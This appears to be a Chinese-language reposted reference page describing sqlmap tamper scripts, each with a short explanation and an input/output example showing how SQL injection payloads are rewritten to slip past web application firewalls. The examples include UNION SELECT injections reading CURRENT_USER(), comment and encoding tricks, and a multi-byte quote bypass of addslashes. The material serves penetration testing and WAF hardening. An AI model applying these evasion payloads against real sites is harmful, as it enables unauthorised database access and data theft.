sqlmap的篡改绕过WAF

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’
Example:
* Input: SELECT id FROM users
* Output: SELECT/**/id/**/FROM/**/users
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
——————————————————————————-
charencode.py
url编码
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak web application firewalls that do not
url-decode the request before processing it through their ruleset
* The web server will anyway pass the url-decoded version behind,
hence it should work against any DBMS
—————————————————————————————
charunicodeencode.py
字符串 unicode 编码
Example:
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
Requirement:
* ASP
* ASP.NET
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
Notes:
* Useful to bypass weak web application firewalls that do not
unicode url-decode the request before processing it through their
ruleset
——————————————————
space2hash.py
空格替换为#号 随机字符串 以及换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
———————————————–
space2morehash.py
空格替换为 #号 以及更多随机字符串 换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.41
——————————————
space2mssqlblank.py(mssql)
空格替换为其它空符号
Example:
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers
Requirement:
* Microsoft SQL Server
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
# ASCII table:
#   SOH     01      start of heading
#   STX     02      start of text
#   ETX     03      end of text
#   EOT     04      end of transmission
#   ENQ     05      enquiry
#   ACK     06      acknowledge
#   BEL     07      bell
#   BS      08      backspace
#   TAB     09      horizontal tab
#   LF      0A      new line
#   VT      0B      vertical TAB
#   FF      0C      new page
#   CR      0D      carriage return
#   SO      0E      shift out
#   SI      0F      shift in
————————————————-
space2mysqlblank.py
空格替换其它空白符号(mysql)
Replaces space character (‘ ‘) with a random blank character from a
valid set of alternate characters
Example:
* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users
Requirement:
* MySQL
Tested against:
* MySQL 5.1
#   TAB     09      horizontal TAB
#   LF      0A      new line
#   FF      0C      new page
#   CR      0D      carriage return
#   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)
#   –       A0      -                   (MySQL only)
———————————————————————————-
chardoubleencode.py 双url编码(不处理以编码的)
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
———————————————————————————
percentage.py
asp允许每个字符前面添加一个%号
Adds a percentage sign (‘%’) infront of each character
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Requirement:
* ASP
Tested against:
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
————————————————————
randomcase.py 随机大小写
Replaces each keyword character with random case value
Example:
* Input: INSERT
* Output: InsERt
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
—————————————————
randomcomments.py
用/**/分割sql关键字
Add random comments to SQL keywords
Example: ‘INSERT’ becomes ‘IN/**/S/**/ERT’
————————————————————-
versionedmorekeywords.py 注释绕过
Encloses each keyword with versioned MySQL comment
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Requirement:
* MySQL >= 5.1.13
————————————————————————
versionedkeywords.py
Encloses each non-function keyword with versioned MySQL comment
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement:
* MySQL
———————————————————————-
unmagicquotes.py 宽字符绕过 GPC  addslashes
Replaces quote character (‘) with a multi-byte combo %bf%27 together with
generic comment at the end (to make it work)
Example:
* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
Notes:
* Useful for bypassing magic_quotes/addslashes feature
——————————————————————————–
equaltolike.py
like 代替等号
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
—————————————————————————-
关键字前加注释
halfversionedmorekeywords.py
Example:
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa
Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
原文地址:http://www.myhack58.com/Article/html/3/7/2013/39321.htm

你可能感兴趣的:(sqlmap)